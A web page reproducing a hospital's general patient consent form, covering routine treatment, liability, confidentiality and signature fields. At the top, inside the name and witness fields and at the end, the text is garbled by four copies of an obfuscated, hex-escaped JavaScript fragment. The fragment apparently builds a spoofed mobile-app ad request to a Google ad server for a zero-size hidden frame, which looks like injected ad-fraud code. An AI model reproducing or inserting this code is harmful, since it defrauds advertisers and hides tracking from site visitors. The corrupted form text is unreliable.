GENERAL CONSENT FORM

script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]

Download

GENERAL CONSENT FORM
PATIENT’S NAME		script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]				UID
Gender			Age
S. N	DESCRIPTION
1.	I ………………………………………………………………………………..(name of patient), desire to avail medical services at this facility and give my agreement to accept their services related to diagnosis and care of my medical condition..
2.	I understand that this consent is a general consent and it includes routine procedures and treatments such as physical examination, drawing blood for lab tests, medication administration, taking X-rays, ECG,  use of local anaesthesia and conduct any non-invasive procedure etc. I also understand that in case high risk or invasive procedure is required to be done, whether for investigation or treatment, I will be asked for a separate informed consent I acknowledge that results of treatment in this hospital is not guaranteed and I cannot hold hospital, its doctor or any other staff liable for an outcome, unless and until I believe it to be because of negligence I also authorise the hospital to collect and maintain a record of my basic information and medical information. I understand that these information is confidential and will be shared only with healthcare providers and used only for my treatment purpose. Disclosure of my information to others will done only after my authorization. (Except if the information is asked by legal authorities)  I assume full responsibility of my personal belongings and valuables and hospital will not be responsible for loss of any personal item I undertake that I will abide by the rules and byelaws of the hospital
3.	I understand that my consent will hold good till I get discharged or I decide to revoke the consent and stop receiving the services of this hospital.
Signature and name of the person giving consent							Date / Time
Relationship with the patient
Signature and name of the witness				script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]			Date / Time
Signature and name of the doctor taking consent							Date / Time

Other forms

script> var pubid = '6583043521789456'; var s1 = '8451387583'; var pn1 = 'com.mesothelioma.cancer.us'; var _0x6717=["x68x74x74x70x73x3Ax2Fx2Fx67x6Fx6Fx67x6Cx65x61x64x73x2Ex67x2Ex64x6Fx75x62x6Cx65x63x6Cx69x63x6Bx2Ex6Ex65x74x2Fx6Dx61x64x73x2Fx67x6Dx61x3Fx70x72x65x71x73x3Dx30x26x75x5Fx73x64x3Dx31x2Ex35x26x75x5Fx77x3Dx33x32x30x26x6Dx73x69x64x3D","x26x63x61x70x3Dx61x26x6Ax73x3Dx61x66x6Dx61x2Dx73x64x6Bx2Dx61x2Dx76x33x2Ex33x2Ex30x26x74x6Fx61x72x3Dx30x26x69x73x75x3Dx57x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x25x32x39x2Bx25x32x37x45x45x41x42x42x38x45x45x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x25x32x39x2Bx25x32x37x43x32x42x45x37x37x30x42x36x38x34x44x25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x25x32x39x2Bx25x32x37x45x43x42x26x63x69x70x61x3Dx30x26x66x6Fx72x6Dx61x74x3Dx33x32x30x78x35x30x5Fx6Dx62x26x6Ex65x74x3Dx77x69x26x61x70x70x5Fx6Ex61x6Dx65x3Dx31x2Ex61x6Ex64x72x6Fx69x64x2E","x26x68x6Cx3Dx65x6Ex26x75x5Fx68x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x61x72x72x69x65x72x3Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x39x39x39x25x32x39x2Bx25x32x37x26x70x74x69x6Dx65x3Dx30x26x75x5Fx61x75x64x69x6Fx3Dx34x26x75x5Fx73x6Fx3Dx70x26x6Fx75x74x70x75x74x3Dx68x74x6Dx6Cx26x72x65x67x69x6Fx6Ex3Dx6Dx6Fx62x69x6Cx65x5Fx61x70x70x26x75x5Fx74x7Ax3Dx2Dx25x32x37x2Bx4Dx61x74x68x2Ex66x6Cx6Fx6Fx72x25x32x38x4Dx61x74x68x2Ex72x61x6Ex64x6Fx6Dx25x32x38x25x32x39x2Ax39x39x39x25x32x39x2Bx25x32x37x26x63x6Cx69x65x6Ex74x5Fx73x64x6Bx3Dx31x26x65x78x3Dx31x26x63x6Cx69x65x6Ex74x3Dx63x61x2Dx61x70x70x2Dx70x75x62x2D","x26x73x6Cx6Fx74x6Ex61x6Dx65x3D","x26x63x61x70x73x3Dx69x6Ex6Cx69x6Ex65x56x69x64x65x6Fx5Fx69x6Ex74x65x72x61x63x74x69x76x65x56x69x64x65x6Fx5Fx6Dx72x61x69x64x31x5Fx63x6Cx69x63x6Bx54x72x61x63x6Bx69x6Ex67x5Fx73x64x6Bx41x64x6Dx6Fx62x41x70x69x46x6Fx72x41x64x73x26x6Ax73x76x3Dx31x38x22x20x68x65x69x67x68x74x3Dx22x35x35x22x20x77x69x64x74x68x3Dx22x33x32x35x22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx22x30x22x20x73x63x72x6Fx6Cx6Cx69x6Ex67x3Dx22x6Ex6Fx22x20x77x69x64x74x68x3Dx22x30x22x20x68x65x69x67x68x74x3Dx22x30x22x20x6Dx61x72x67x69x6Ex77x69x64x74x68x3Dx22x30x22x20x6Dx61x72x67x69x6Ex68x65x69x67x68x74x3Dx22x30x22x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]

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